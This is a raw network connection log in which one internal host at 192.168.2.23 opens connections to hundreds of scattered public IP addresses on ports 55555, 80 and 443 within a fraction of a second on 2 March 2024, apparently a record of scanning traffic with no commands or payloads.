Mar 2, 2024 12:36:51.823076963 CET	55302	55555	192.168.2.23	172.136.249.119
Mar 2, 2024 12:36:51.823071003 CET	55558	80	192.168.2.23	146.247.252.96
Mar 2, 2024 12:36:51.823074102 CET	55558	80	192.168.2.23	117.233.73.78
Mar 2, 2024 12:36:51.823076963 CET	55302	55555	192.168.2.23	184.24.95.26
Mar 2, 2024 12:36:51.823090076 CET	55558	80	192.168.2.23	167.64.9.61
Mar 2, 2024 12:36:51.823080063 CET	55302	55555	192.168.2.23	98.15.13.84
Mar 2, 2024 12:36:51.823090076 CET	55302	55555	192.168.2.23	184.107.142.24
Mar 2, 2024 12:36:51.823076963 CET	55558	80	192.168.2.23	76.239.20.227
Mar 2, 2024 12:36:51.823074102 CET	55558	80	192.168.2.23	92.199.243.146
Mar 2, 2024 12:36:51.823080063 CET	55558	80	192.168.2.23	4.40.142.80
Mar 2, 2024 12:36:51.823074102 CET	55558	80	192.168.2.23	153.194.147.50
Mar 2, 2024 12:36:51.823080063 CET	55302	55555	192.168.2.23	98.220.118.135
Mar 2, 2024 12:36:51.823075056 CET	55302	55555	192.168.2.23	184.49.7.204
Mar 2, 2024 12:36:51.823075056 CET	55302	55555	192.168.2.23	172.156.130.109
Mar 2, 2024 12:36:51.823075056 CET	55558	80	192.168.2.23	157.199.252.211
Mar 2, 2024 12:36:51.823110104 CET	55558	80	192.168.2.23	67.9.138.79
Mar 2, 2024 12:36:51.823110104 CET	55558	80	192.168.2.23	182.132.235.179
Mar 2, 2024 12:36:51.823110104 CET	55558	80	192.168.2.23	198.107.49.68
Mar 2, 2024 12:36:51.823110104 CET	55558	80	192.168.2.23	39.179.54.51
Mar 2, 2024 12:36:51.823112011 CET	55302	55555	192.168.2.23	184.74.4.127
Mar 2, 2024 12:36:51.823112011 CET	55302	55555	192.168.2.23	184.10.52.9
Mar 2, 2024 12:36:51.823112011 CET	55302	55555	192.168.2.23	98.253.164.207
Mar 2, 2024 12:36:51.823112011 CET	55302	55555	192.168.2.23	184.230.130.67
Mar 2, 2024 12:36:51.823112011 CET	55302	55555	192.168.2.23	184.76.145.39
Mar 2, 2024 12:36:51.823112011 CET	55302	55555	192.168.2.23	172.32.87.92
Mar 2, 2024 12:36:51.823112011 CET	55302	55555	192.168.2.23	172.238.204.143
Mar 2, 2024 12:36:51.823132038 CET	55302	55555	192.168.2.23	184.221.233.176
Mar 2, 2024 12:36:51.823132038 CET	55558	80	192.168.2.23	212.108.254.179
Mar 2, 2024 12:36:51.823132038 CET	55558	80	192.168.2.23	176.90.169.223
Mar 2, 2024 12:36:51.823132992 CET	55558	80	192.168.2.23	57.41.82.192
Mar 2, 2024 12:36:51.823132038 CET	55558	80	192.168.2.23	193.229.223.49
Mar 2, 2024 12:36:51.823132992 CET	55302	55555	192.168.2.23	172.246.179.117
Mar 2, 2024 12:36:51.823132038 CET	55302	55555	192.168.2.23	172.62.242.112
Mar 2, 2024 12:36:51.823132992 CET	55558	80	192.168.2.23	94.156.106.126
Mar 2, 2024 12:36:51.823132038 CET	55302	55555	192.168.2.23	172.125.248.56
Mar 2, 2024 12:36:51.823132992 CET	55558	80	192.168.2.23	112.184.75.206
Mar 2, 2024 12:36:51.823132992 CET	55558	80	192.168.2.23	25.226.173.25
Mar 2, 2024 12:36:51.823132992 CET	55558	80	192.168.2.23	151.9.245.203
Mar 2, 2024 12:36:51.823132992 CET	55558	80	192.168.2.23	134.122.90.192
Mar 2, 2024 12:36:51.823137045 CET	55302	55555	192.168.2.23	184.15.54.120
Mar 2, 2024 12:36:51.823137045 CET	55302	55555	192.168.2.23	172.62.187.206
Mar 2, 2024 12:36:51.823137045 CET	55558	80	192.168.2.23	81.186.59.8
Mar 2, 2024 12:36:51.823137045 CET	55558	80	192.168.2.23	121.0.174.248
Mar 2, 2024 12:36:51.823137045 CET	55302	55555	192.168.2.23	98.156.28.197
Mar 2, 2024 12:36:51.823137045 CET	55302	55555	192.168.2.23	172.159.106.101
Mar 2, 2024 12:36:51.823137045 CET	55302	55555	192.168.2.23	172.11.30.88
Mar 2, 2024 12:36:51.823137045 CET	55558	80	192.168.2.23	74.197.27.150
Mar 2, 2024 12:36:51.823138952 CET	55302	55555	192.168.2.23	184.233.109.155
Mar 2, 2024 12:36:51.823138952 CET	55558	80	192.168.2.23	152.2.95.143
Mar 2, 2024 12:36:51.823139906 CET	55558	80	192.168.2.23	143.202.198.27
Mar 2, 2024 12:36:51.823139906 CET	55558	80	192.168.2.23	71.84.5.29
Mar 2, 2024 12:36:51.823139906 CET	55302	55555	192.168.2.23	98.184.161.10
Mar 2, 2024 12:36:51.823139906 CET	55302	55555	192.168.2.23	98.2.67.41
Mar 2, 2024 12:36:51.823139906 CET	55558	80	192.168.2.23	123.189.75.43
Mar 2, 2024 12:36:51.823148966 CET	55302	55555	192.168.2.23	98.174.236.107
Mar 2, 2024 12:36:51.823148966 CET	55558	80	192.168.2.23	84.196.150.124
Mar 2, 2024 12:36:51.823148966 CET	55558	80	192.168.2.23	138.129.27.117
Mar 2, 2024 12:36:51.823148966 CET	55558	80	192.168.2.23	161.245.158.168
Mar 2, 2024 12:36:51.823148966 CET	55558	80	192.168.2.23	212.213.131.243
Mar 2, 2024 12:36:51.823149920 CET	55302	55555	192.168.2.23	172.3.223.184
Mar 2, 2024 12:36:51.823149920 CET	55302	55555	192.168.2.23	184.169.30.236
Mar 2, 2024 12:36:51.823149920 CET	55302	55555	192.168.2.23	172.18.165.128
Mar 2, 2024 12:36:51.823165894 CET	55302	55555	192.168.2.23	98.125.109.34
Mar 2, 2024 12:36:51.823165894 CET	55302	55555	192.168.2.23	98.1.116.43
Mar 2, 2024 12:36:51.823165894 CET	55558	80	192.168.2.23	128.150.82.98
Mar 2, 2024 12:36:51.823165894 CET	55558	80	192.168.2.23	103.205.29.8
Mar 2, 2024 12:36:51.823165894 CET	55558	80	192.168.2.23	183.62.7.195
Mar 2, 2024 12:36:51.823165894 CET	55558	80	192.168.2.23	207.187.166.64
Mar 2, 2024 12:36:51.823165894 CET	55558	80	192.168.2.23	177.22.36.80
Mar 2, 2024 12:36:51.823165894 CET	55302	55555	192.168.2.23	184.153.185.189
Mar 2, 2024 12:36:51.823175907 CET	55558	80	192.168.2.23	191.122.54.239
Mar 2, 2024 12:36:51.823175907 CET	55558	80	192.168.2.23	150.213.30.244
Mar 2, 2024 12:36:51.823175907 CET	55302	55555	192.168.2.23	172.152.247.98
Mar 2, 2024 12:36:51.823175907 CET	55302	55555	192.168.2.23	184.176.0.67
Mar 2, 2024 12:36:51.823175907 CET	55302	55555	192.168.2.23	172.16.5.96
Mar 2, 2024 12:36:51.823175907 CET	55558	80	192.168.2.23	180.120.229.100
Mar 2, 2024 12:36:51.823177099 CET	55558	80	192.168.2.23	208.228.40.78
Mar 2, 2024 12:36:51.823177099 CET	55302	55555	192.168.2.23	184.206.132.69
Mar 2, 2024 12:36:51.823219061 CET	55302	55555	192.168.2.23	172.210.188.51
Mar 2, 2024 12:36:51.823219061 CET	55558	80	192.168.2.23	13.183.192.165
Mar 2, 2024 12:36:51.823219061 CET	55558	80	192.168.2.23	205.125.37.18
Mar 2, 2024 12:36:51.823219061 CET	55302	55555	192.168.2.23	172.161.181.57
Mar 2, 2024 12:36:51.823219061 CET	55558	80	192.168.2.23	190.104.129.164
Mar 2, 2024 12:36:51.823220015 CET	55302	55555	192.168.2.23	98.80.44.161
Mar 2, 2024 12:36:51.823220015 CET	55558	80	192.168.2.23	115.80.117.188
Mar 2, 2024 12:36:51.823224068 CET	55302	55555	192.168.2.23	98.212.50.117
Mar 2, 2024 12:36:51.823224068 CET	55558	80	192.168.2.23	38.27.244.86
Mar 2, 2024 12:36:51.823224068 CET	55558	80	192.168.2.23	138.3.156.132
Mar 2, 2024 12:36:51.823224068 CET	55302	55555	192.168.2.23	98.83.207.253
Mar 2, 2024 12:36:51.823224068 CET	55302	55555	192.168.2.23	184.226.96.194
Mar 2, 2024 12:36:51.823224068 CET	55558	80	192.168.2.23	75.20.106.225
Mar 2, 2024 12:36:51.823224068 CET	55302	55555	192.168.2.23	184.197.193.243
Mar 2, 2024 12:36:51.823224068 CET	55302	55555	192.168.2.23	98.138.151.150
Mar 2, 2024 12:36:51.823242903 CET	55558	80	192.168.2.23	141.188.145.119
Mar 2, 2024 12:36:51.823242903 CET	55302	55555	192.168.2.23	98.15.125.93
Mar 2, 2024 12:36:51.823242903 CET	55302	55555	192.168.2.23	172.81.168.150
Mar 2, 2024 12:36:51.823242903 CET	55558	80	192.168.2.23	144.166.84.26
Mar 2, 2024 12:36:51.823242903 CET	55558	80	192.168.2.23	27.10.215.250
Mar 2, 2024 12:36:51.823242903 CET	55558	80	192.168.2.23	190.64.184.87
Mar 2, 2024 12:36:51.823242903 CET	55302	55555	192.168.2.23	172.91.49.140
Mar 2, 2024 12:36:51.823242903 CET	55302	55555	192.168.2.23	98.121.107.229
Mar 2, 2024 12:36:51.823251963 CET	55558	80	192.168.2.23	12.182.218.1
Mar 2, 2024 12:36:51.823251963 CET	55302	55555	192.168.2.23	172.252.88.12
Mar 2, 2024 12:36:51.823251963 CET	55302	55555	192.168.2.23	98.49.19.73
Mar 2, 2024 12:36:51.823251963 CET	55302	55555	192.168.2.23	184.135.27.129
Mar 2, 2024 12:36:51.823251963 CET	55302	55555	192.168.2.23	172.181.212.22
Mar 2, 2024 12:36:51.823251963 CET	55302	55555	192.168.2.23	184.185.203.21
Mar 2, 2024 12:36:51.823251963 CET	55558	80	192.168.2.23	141.220.190.106
Mar 2, 2024 12:36:51.823252916 CET	55558	80	192.168.2.23	82.154.108.179
Mar 2, 2024 12:36:51.823256016 CET	55302	55555	192.168.2.23	98.119.210.121
Mar 2, 2024 12:36:51.823256016 CET	55302	55555	192.168.2.23	184.80.212.225
Mar 2, 2024 12:36:51.823256016 CET	55558	80	192.168.2.23	54.157.236.170
Mar 2, 2024 12:36:51.823256016 CET	55558	80	192.168.2.23	196.238.225.250
Mar 2, 2024 12:36:51.823256016 CET	55558	80	192.168.2.23	140.231.93.40
Mar 2, 2024 12:36:51.823256016 CET	55558	80	192.168.2.23	68.232.251.10
Mar 2, 2024 12:36:51.823256016 CET	55302	55555	192.168.2.23	184.45.188.176
Mar 2, 2024 12:36:51.823256016 CET	55558	80	192.168.2.23	42.217.26.111
Mar 2, 2024 12:36:51.823268890 CET	55558	80	192.168.2.23	159.194.251.64
Mar 2, 2024 12:36:51.823268890 CET	55558	80	192.168.2.23	100.22.172.16
Mar 2, 2024 12:36:51.823268890 CET	55302	55555	192.168.2.23	184.90.32.151
Mar 2, 2024 12:36:51.823268890 CET	55302	55555	192.168.2.23	184.197.45.220
Mar 2, 2024 12:36:51.823268890 CET	55558	80	192.168.2.23	194.106.224.182
Mar 2, 2024 12:36:51.823268890 CET	55558	80	192.168.2.23	117.140.178.52
Mar 2, 2024 12:36:51.823268890 CET	55558	80	192.168.2.23	111.245.19.15
Mar 2, 2024 12:36:51.823273897 CET	55302	55555	192.168.2.23	184.29.34.58
Mar 2, 2024 12:36:51.823273897 CET	55302	55555	192.168.2.23	184.206.232.184
Mar 2, 2024 12:36:51.823273897 CET	55302	55555	192.168.2.23	98.186.159.217
Mar 2, 2024 12:36:51.823273897 CET	55558	80	192.168.2.23	4.53.254.140
Mar 2, 2024 12:36:51.823273897 CET	55302	55555	192.168.2.23	184.238.106.202
Mar 2, 2024 12:36:51.823273897 CET	55558	80	192.168.2.23	210.140.51.217
Mar 2, 2024 12:36:51.823273897 CET	55558	80	192.168.2.23	114.133.137.226
Mar 2, 2024 12:36:51.823273897 CET	55302	55555	192.168.2.23	172.93.123.253
Mar 2, 2024 12:36:51.823316097 CET	55302	55555	192.168.2.23	172.52.53.26
Mar 2, 2024 12:36:51.823316097 CET	55558	80	192.168.2.23	52.13.200.164
Mar 2, 2024 12:36:51.823316097 CET	55302	55555	192.168.2.23	184.254.210.255
Mar 2, 2024 12:36:51.823316097 CET	55558	80	192.168.2.23	183.53.207.39
Mar 2, 2024 12:36:51.823316097 CET	55302	55555	192.168.2.23	184.140.254.179
Mar 2, 2024 12:36:51.823316097 CET	55558	80	192.168.2.23	114.167.173.219
Mar 2, 2024 12:36:51.823316097 CET	55558	80	192.168.2.23	61.117.18.18
Mar 2, 2024 12:36:51.823316097 CET	55302	55555	192.168.2.23	184.204.142.64
Mar 2, 2024 12:36:51.823319912 CET	55302	55555	192.168.2.23	184.229.128.116
Mar 2, 2024 12:36:51.823321104 CET	55558	80	192.168.2.23	141.107.116.161
Mar 2, 2024 12:36:51.823321104 CET	55558	80	192.168.2.23	167.116.30.17
Mar 2, 2024 12:36:51.823321104 CET	55302	55555	192.168.2.23	184.235.96.50
Mar 2, 2024 12:36:51.823321104 CET	50182	443	192.168.2.23	2.12.229.211
Mar 2, 2024 12:36:51.823321104 CET	55302	55555	192.168.2.23	172.11.30.33
Mar 2, 2024 12:36:51.823327065 CET	55302	55555	192.168.2.23	98.62.57.60
Mar 2, 2024 12:36:51.823327065 CET	55558	80	192.168.2.23	174.161.35.81
Mar 2, 2024 12:36:51.823327065 CET	55558	80	192.168.2.23	66.128.106.73
Mar 2, 2024 12:36:51.823327065 CET	55302	55555	192.168.2.23	172.146.102.32
Mar 2, 2024 12:36:51.823327065 CET	50182	443	192.168.2.23	210.113.12.149
Mar 2, 2024 12:36:51.823327065 CET	55302	55555	192.168.2.23	184.57.254.151
Mar 2, 2024 12:36:51.823329926 CET	55558	80	192.168.2.23	57.239.210.216
Mar 2, 2024 12:36:51.823329926 CET	55558	80	192.168.2.23	61.60.136.255
Mar 2, 2024 12:36:51.823329926 CET	55302	55555	192.168.2.23	98.170.112.202
Mar 2, 2024 12:36:51.823329926 CET	55302	55555	192.168.2.23	184.220.6.144
Mar 2, 2024 12:36:51.823329926 CET	55558	80	192.168.2.23	25.116.241.224
Mar 2, 2024 12:36:51.823329926 CET	55558	80	192.168.2.23	156.122.197.133
Mar 2, 2024 12:36:51.823339939 CET	55302	55555	192.168.2.23	172.26.104.13
Mar 2, 2024 12:36:51.823339939 CET	55302	55555	192.168.2.23	98.87.181.126
Mar 2, 2024 12:36:51.823339939 CET	55558	80	192.168.2.23	178.114.65.121
Mar 2, 2024 12:36:51.823339939 CET	55558	80	192.168.2.23	203.241.70.51
Mar 2, 2024 12:36:51.823339939 CET	55558	80	192.168.2.23	171.25.243.169
Mar 2, 2024 12:36:51.823339939 CET	55302	55555	192.168.2.23	98.146.231.246
Mar 2, 2024 12:36:51.823339939 CET	55302	55555	192.168.2.23	172.28.97.54
Mar 2, 2024 12:36:51.823339939 CET	55302	55555	192.168.2.23	184.62.181.232
Mar 2, 2024 12:36:51.823359013 CET	55558	80	192.168.2.23	71.211.50.176
Mar 2, 2024 12:36:51.823359013 CET	55302	55555	192.168.2.23	98.7.32.31
Mar 2, 2024 12:36:51.823359966 CET	55302	55555	192.168.2.23	172.167.116.137
Mar 2, 2024 12:36:51.823359966 CET	55302	55555	192.168.2.23	98.171.125.131
Mar 2, 2024 12:36:51.823359966 CET	55302	55555	192.168.2.23	98.221.234.223
Mar 2, 2024 12:36:51.823359966 CET	55302	55555	192.168.2.23	98.119.90.237
Mar 2, 2024 12:36:51.823359966 CET	50182	443	192.168.2.23	109.16.25.143
Mar 2, 2024 12:36:51.823359966 CET	50182	443	192.168.2.23	94.50.229.193
Mar 2, 2024 12:36:51.823373079 CET	443	50182	2.12.229.211	192.168.2.23
Mar 2, 2024 12:36:51.823373079 CET	443	50182	210.113.12.149	192.168.2.23
Mar 2, 2024 12:36:51.823383093 CET	50182	443	192.168.2.23	94.41.178.182
Mar 2, 2024 12:36:51.823383093 CET	50182	443	192.168.2.23	212.171.135.229
Mar 2, 2024 12:36:51.823390007 CET	443	50182	94.41.178.182	192.168.2.23
Mar 2, 2024 12:36:51.823393106 CET	55302	55555	192.168.2.23	172.1.95.8
Mar 2, 2024 12:36:51.823393106 CET	50182	443	192.168.2.23	37.84.215.211
Mar 2, 2024 12:36:51.823393106 CET	55302	55555	192.168.2.23	184.126.118.197
Mar 2, 2024 12:36:51.823393106 CET	55302	55555	192.168.2.23	184.40.4.251
Mar 2, 2024 12:36:51.823393106 CET	55302	55555	192.168.2.23	98.135.124.68
Mar 2, 2024 12:36:51.823393106 CET	55302	55555	192.168.2.23	172.2.26.103
Mar 2, 2024 12:36:51.823393106 CET	55302	55555	192.168.2.23	172.119.126.205
Mar 2, 2024 12:36:51.823393106 CET	55302	55555	192.168.2.23	184.132.130.152
Mar 2, 2024 12:36:51.823399067 CET	443	50182	212.171.135.229	192.168.2.23
Mar 2, 2024 12:36:51.823406935 CET	55558	80	192.168.2.23	114.76.115.201
Mar 2, 2024 12:36:51.823406935 CET	55558	80	192.168.2.23	158.13.56.78
Mar 2, 2024 12:36:51.823406935 CET	55558	80	192.168.2.23	1.83.176.175
Mar 2, 2024 12:36:51.823406935 CET	55302	55555	192.168.2.23	98.141.126.206
Mar 2, 2024 12:36:51.823406935 CET	50182	443	192.168.2.23	94.160.90.217
Mar 2, 2024 12:36:51.823406935 CET	55302	55555	192.168.2.23	172.141.99.176
Mar 2, 2024 12:36:51.823406935 CET	50182	443	192.168.2.23	42.169.164.129
Mar 2, 2024 12:36:51.823406935 CET	55302	55555	192.168.2.23	184.197.202.198
Mar 2, 2024 12:36:51.823412895 CET	50182	443	192.168.2.23	210.113.12.149
Mar 2, 2024 12:36:51.823412895 CET	55302	55555	192.168.2.23	98.238.6.220
Mar 2, 2024 12:36:51.823411942 CET	50182	443	192.168.2.23	210.229.55.26
Mar 2, 2024 12:36:51.823411942 CET	55302	55555	192.168.2.23	184.114.110.158
Mar 2, 2024 12:36:51.823411942 CET	50182	443	192.168.2.23	79.237.29.195
Mar 2, 2024 12:36:51.823411942 CET	55302	55555	192.168.2.23	184.203.222.100
Mar 2, 2024 12:36:51.823415995 CET	55302	55555	192.168.2.23	184.178.190.157
Mar 2, 2024 12:36:51.823415995 CET	55302	55555	192.168.2.23	184.156.235.53
Mar 2, 2024 12:36:51.823415995 CET	55558	80	192.168.2.23	186.35.231.151
Mar 2, 2024 12:36:51.823417902 CET	443	50182	37.84.215.211	192.168.2.23
Mar 2, 2024 12:36:51.823415995 CET	55558	80	192.168.2.23	100.11.220.109
Mar 2, 2024 12:36:51.823415995 CET	55558	80	192.168.2.23	1.138.0.253
Mar 2, 2024 12:36:51.823415995 CET	55558	80	192.168.2.23	174.27.82.217
Mar 2, 2024 12:36:51.823415995 CET	55558	80	192.168.2.23	133.138.117.191
Mar 2, 2024 12:36:51.823415995 CET	55558	80	192.168.2.23	12.133.46.141
Mar 2, 2024 12:36:51.823422909 CET	55302	55555	192.168.2.23	98.55.8.139
Mar 2, 2024 12:36:51.823422909 CET	55558	80	192.168.2.23	41.174.202.235
Mar 2, 2024 12:36:51.823422909 CET	55558	80	192.168.2.23	178.62.129.232
Mar 2, 2024 12:36:51.823422909 CET	50182	443	192.168.2.23	42.58.250.40
Mar 2, 2024 12:36:51.823422909 CET	55302	55555	192.168.2.23	98.136.116.63
Mar 2, 2024 12:36:51.823422909 CET	50182	443	192.168.2.23	178.80.173.42
Mar 2, 2024 12:36:51.823422909 CET	55302	55555	192.168.2.23	172.172.111.30
Mar 2, 2024 12:36:51.823422909 CET	50182	443	192.168.2.23	94.20.12.54
Mar 2, 2024 12:36:51.823429108 CET	50182	443	192.168.2.23	94.41.178.182
Mar 2, 2024 12:36:51.823429108 CET	55302	55555	192.168.2.23	184.35.216.220
Mar 2, 2024 12:36:51.823429108 CET	55302	55555	192.168.2.23	172.209.27.215
Mar 2, 2024 12:36:51.823430061 CET	443	50182	210.229.55.26	192.168.2.23
Mar 2, 2024 12:36:51.823429108 CET	50182	443	192.168.2.23	212.171.135.229
Mar 2, 2024 12:36:51.823432922 CET	443	50182	109.16.25.143	192.168.2.23
Mar 2, 2024 12:36:51.823441982 CET	443	50182	94.160.90.217	192.168.2.23
Mar 2, 2024 12:36:51.823443890 CET	443	50182	94.50.229.193	192.168.2.23
Mar 2, 2024 12:36:51.823448896 CET	443	50182	79.237.29.195	192.168.2.23
Mar 2, 2024 12:36:51.823452950 CET	50182	443	192.168.2.23	94.58.120.176
Mar 2, 2024 12:36:51.823452950 CET	50182	443	192.168.2.23	210.5.127.127
Mar 2, 2024 12:36:51.823452950 CET	55302	55555	192.168.2.23	172.22.92.122
Mar 2, 2024 12:36:51.823452950 CET	55302	55555	192.168.2.23	172.172.188.217
Mar 2, 2024 12:36:51.823452950 CET	50182	443	192.168.2.23	118.224.58.212
Mar 2, 2024 12:36:51.823457956 CET	443	50182	42.169.164.129	192.168.2.23
Mar 2, 2024 12:36:51.823460102 CET	443	50182	42.58.250.40	192.168.2.23
Mar 2, 2024 12:36:51.823467016 CET	55302	55555	192.168.2.23	98.135.185.205
Mar 2, 2024 12:36:51.823467016 CET	50182	443	192.168.2.23	178.51.151.247
Mar 2, 2024 12:36:51.823467970 CET	50182	443	192.168.2.23	2.12.229.211
Mar 2, 2024 12:36:51.823467016 CET	50182	443	192.168.2.23	210.229.55.26
Mar 2, 2024 12:36:51.823467970 CET	50182	443	192.168.2.23	212.6.147.0
Mar 2, 2024 12:36:51.823467970 CET	50182	443	192.168.2.23	37.84.215.211
Mar 2, 2024 12:36:51.823472023 CET	55302	55555	192.168.2.23	98.77.218.231
Mar 2, 2024 12:36:51.823472023 CET	55302	55555	192.168.2.23	184.60.118.5
Mar 2, 2024 12:36:51.823472023 CET	55302	55555	192.168.2.23	184.24.162.39
Mar 2, 2024 12:36:51.823472023 CET	50182	443	192.168.2.23	94.160.90.217
Mar 2, 2024 12:36:51.823473930 CET	443	50182	94.58.120.176	192.168.2.23
Mar 2, 2024 12:36:51.823476076 CET	443	50182	178.80.173.42	192.168.2.23
Mar 2, 2024 12:36:51.823478937 CET	55302	55555	192.168.2.23	184.78.250.194
Mar 2, 2024 12:36:51.823478937 CET	55558	80	192.168.2.23	53.40.93.81
Mar 2, 2024 12:36:51.823479891 CET	443	50182	178.51.151.247	192.168.2.23
Mar 2, 2024 12:36:51.823478937 CET	55302	55555	192.168.2.23	98.112.129.147
Mar 2, 2024 12:36:51.823479891 CET	443	50182	212.6.147.0	192.168.2.23
Mar 2, 2024 12:36:51.823482037 CET	443	50182	94.20.12.54	192.168.2.23
Mar 2, 2024 12:36:51.823478937 CET	55302	55555	192.168.2.23	184.37.80.115
Mar 2, 2024 12:36:51.823478937 CET	55302	55555	192.168.2.23	184.228.246.246
Mar 2, 2024 12:36:51.823478937 CET	55302	55555	192.168.2.23	184.87.213.206
Mar 2, 2024 12:36:51.823484898 CET	443	50182	210.5.127.127	192.168.2.23
Mar 2, 2024 12:36:51.823478937 CET	55558	80	192.168.2.23	141.88.60.90
Mar 2, 2024 12:36:51.823488951 CET	55302	55555	192.168.2.23	184.46.138.214
Mar 2, 2024 12:36:51.823488951 CET	50182	443	192.168.2.23	37.94.208.210
Mar 2, 2024 12:36:51.823488951 CET	50182	443	192.168.2.23	42.58.250.40
Mar 2, 2024 12:36:51.823491096 CET	55302	55555	192.168.2.23	172.186.108.134
Mar 2, 2024 12:36:51.823493004 CET	50182	443	192.168.2.23	42.169.164.129
Mar 2, 2024 12:36:51.823493004 CET	55558	80	192.168.2.23	102.89.46.219
Mar 2, 2024 12:36:51.823493004 CET	55302	55555	192.168.2.23	184.223.98.253
Mar 2, 2024 12:36:51.823493004 CET	55558	80	192.168.2.23	196.183.106.112
Mar 2, 2024 12:36:51.823493004 CET	55558	80	192.168.2.23	166.181.116.164
Mar 2, 2024 12:36:51.823494911 CET	50182	443	192.168.2.23	212.154.44.137
Mar 2, 2024 12:36:51.823494911 CET	50182	443	192.168.2.23	79.237.29.195
Mar 2, 2024 12:36:51.823493004 CET	55558	80	192.168.2.23	91.10.41.32
Mar 2, 2024 12:36:51.823493958 CET	50182	443	192.168.2.23	5.102.36.50
Mar 2, 2024 12:36:51.823497057 CET	443	50182	118.224.58.212	192.168.2.23
Mar 2, 2024 12:36:51.823493958 CET	55302	55555	192.168.2.23	184.159.248.233
Mar 2, 2024 12:36:51.823503971 CET	443	50182	212.154.44.137	192.168.2.23
Mar 2, 2024 12:36:51.823508024 CET	55302	55555	192.168.2.23	172.192.231.170
Mar 2, 2024 12:36:51.823508024 CET	443	50182	37.94.208.210	192.168.2.23
Mar 2, 2024 12:36:51.823508978 CET	50182	443	192.168.2.23	178.80.173.42
Mar 2, 2024 12:36:51.823518038 CET	55302	55555	192.168.2.23	184.118.71.40
Mar 2, 2024 12:36:51.823518038 CET	55558	80	192.168.2.23	87.202.5.184
Mar 2, 2024 12:36:51.823518038 CET	50182	443	192.168.2.23	94.167.26.6
Mar 2, 2024 12:36:51.823518038 CET	50182	443	192.168.2.23	210.74.121.121
Mar 2, 2024 12:36:51.823518038 CET	50182	443	192.168.2.23	42.107.41.175
Mar 2, 2024 12:36:51.823520899 CET	50182	443	192.168.2.23	178.51.151.247
Mar 2, 2024 12:36:51.823520899 CET	50182	443	192.168.2.23	94.50.229.193
Mar 2, 2024 12:36:51.823520899 CET	50182	443	192.168.2.23	109.16.25.143
Mar 2, 2024 12:36:51.823518038 CET	55302	55555	192.168.2.23	172.2.194.94
Mar 2, 2024 12:36:51.823518038 CET	50182	443	192.168.2.23	42.70.206.96
Mar 2, 2024 12:36:51.823518038 CET	55302	55555	192.168.2.23	98.119.37.6
Mar 2, 2024 12:36:51.823520899 CET	50182	443	192.168.2.23	94.58.120.176
Mar 2, 2024 12:36:51.823518038 CET	55302	55555	192.168.2.23	98.127.237.37
Mar 2, 2024 12:36:51.823518038 CET	50182	443	192.168.2.23	178.21.137.38
Mar 2, 2024 12:36:51.823518038 CET	55302	55555	192.168.2.23	98.196.51.164
Mar 2, 2024 12:36:51.823532104 CET	50182	443	192.168.2.23	212.6.147.0
Mar 2, 2024 12:36:51.823532104 CET	50182	443	192.168.2.23	212.154.44.137
Mar 2, 2024 12:36:51.823534012 CET	50182	443	192.168.2.23	94.20.12.54
Mar 2, 2024 12:36:51.823534012 CET	50182	443	192.168.2.23	37.94.208.210
Mar 2, 2024 12:36:51.823534966 CET	443	50182	5.102.36.50	192.168.2.23
Mar 2, 2024 12:36:51.823537111 CET	50182	443	192.168.2.23	210.5.127.127
Mar 2, 2024 12:36:51.823537111 CET	443	50182	94.167.26.6	192.168.2.23
Mar 2, 2024 12:36:51.823537111 CET	50182	443	192.168.2.23	118.224.58.212
Mar 2, 2024 12:36:51.823542118 CET	443	50182	42.70.206.96	192.168.2.23
Mar 2, 2024 12:36:51.823546886 CET	55302	55555	192.168.2.23	98.8.16.112
Mar 2, 2024 12:36:51.823546886 CET	55302	55555	192.168.2.23	172.11.60.58
Mar 2, 2024 12:36:51.823546886 CET	55302	55555	192.168.2.23	184.149.23.40
Mar 2, 2024 12:36:51.823549032 CET	443	50182	210.74.121.121	192.168.2.23
Mar 2, 2024 12:36:51.823546886 CET	50182	443	192.168.2.23	109.9.47.135
Mar 2, 2024 12:36:51.823549986 CET	50182	443	192.168.2.23	37.224.245.138
Mar 2, 2024 12:36:51.823546886 CET	50182	443	192.168.2.23	5.28.146.255
Mar 2, 2024 12:36:51.823549986 CET	50182	443	192.168.2.23	37.13.69.63
Mar 2, 2024 12:36:51.823546886 CET	55302	55555	192.168.2.23	184.225.217.131
Mar 2, 2024 12:36:51.823554039 CET	443	50182	42.107.41.175	192.168.2.23
Mar 2, 2024 12:36:51.823546886 CET	50182	443	192.168.2.23	212.172.255.251
Mar 2, 2024 12:36:51.823549986 CET	50182	443	192.168.2.23	37.203.191.176
Mar 2, 2024 12:36:51.823555946 CET	443	50182	178.21.137.38	192.168.2.23
Mar 2, 2024 12:36:51.823556900 CET	50182	443	192.168.2.23	5.154.254.133
Mar 2, 2024 12:36:51.823555946 CET	50182	443	192.168.2.23	5.199.123.235
Mar 2, 2024 12:36:51.823555946 CET	50182	443	192.168.2.23	212.71.77.89
Mar 2, 2024 12:36:51.823565006 CET	55302	55555	192.168.2.23	172.110.251.225
Mar 2, 2024 12:36:51.823565960 CET	55302	55555	192.168.2.23	184.121.2.181
Mar 2, 2024 12:36:51.823565960 CET	443	50182	5.154.254.133	192.168.2.23
Mar 2, 2024 12:36:51.823565006 CET	55302	55555	192.168.2.23	98.196.233.40
Mar 2, 2024 12:36:51.823569059 CET	443	50182	37.224.245.138	192.168.2.23
Mar 2, 2024 12:36:51.823565006 CET	55302	55555	192.168.2.23	172.169.100.226
Mar 2, 2024 12:36:51.823568106 CET	443	50182	5.199.123.235	192.168.2.23
Mar 2, 2024 12:36:51.823570013 CET	50182	443	192.168.2.23	118.142.9.63
Mar 2, 2024 12:36:51.823573112 CET	55302	55555	192.168.2.23	172.135.249.134
Mar 2, 2024 12:36:51.823574066 CET	443	50182	212.71.77.89	192.168.2.23
Mar 2, 2024 12:36:51.823573112 CET	55302	55555	192.168.2.23	184.222.200.233
Mar 2, 2024 12:36:51.823573112 CET	50182	443	192.168.2.23	42.185.222.251
Mar 2, 2024 12:36:51.823575974 CET	443	50182	118.142.9.63	192.168.2.23
Mar 2, 2024 12:36:51.823573112 CET	50182	443	192.168.2.23	79.85.56.108
Mar 2, 2024 12:36:51.823573112 CET	50182	443	192.168.2.23	94.16.213.156
Mar 2, 2024 12:36:51.823573112 CET	50182	443	192.168.2.23	118.54.230.13
Mar 2, 2024 12:36:51.823573112 CET	50182	443	192.168.2.23	118.50.69.242
Mar 2, 2024 12:36:51.823573112 CET	55302	55555	192.168.2.23	98.132.235.242
Mar 2, 2024 12:36:51.823580980 CET	50182	443	192.168.2.23	5.224.62.29
Mar 2, 2024 12:36:51.823581934 CET	443	50182	109.9.47.135	192.168.2.23
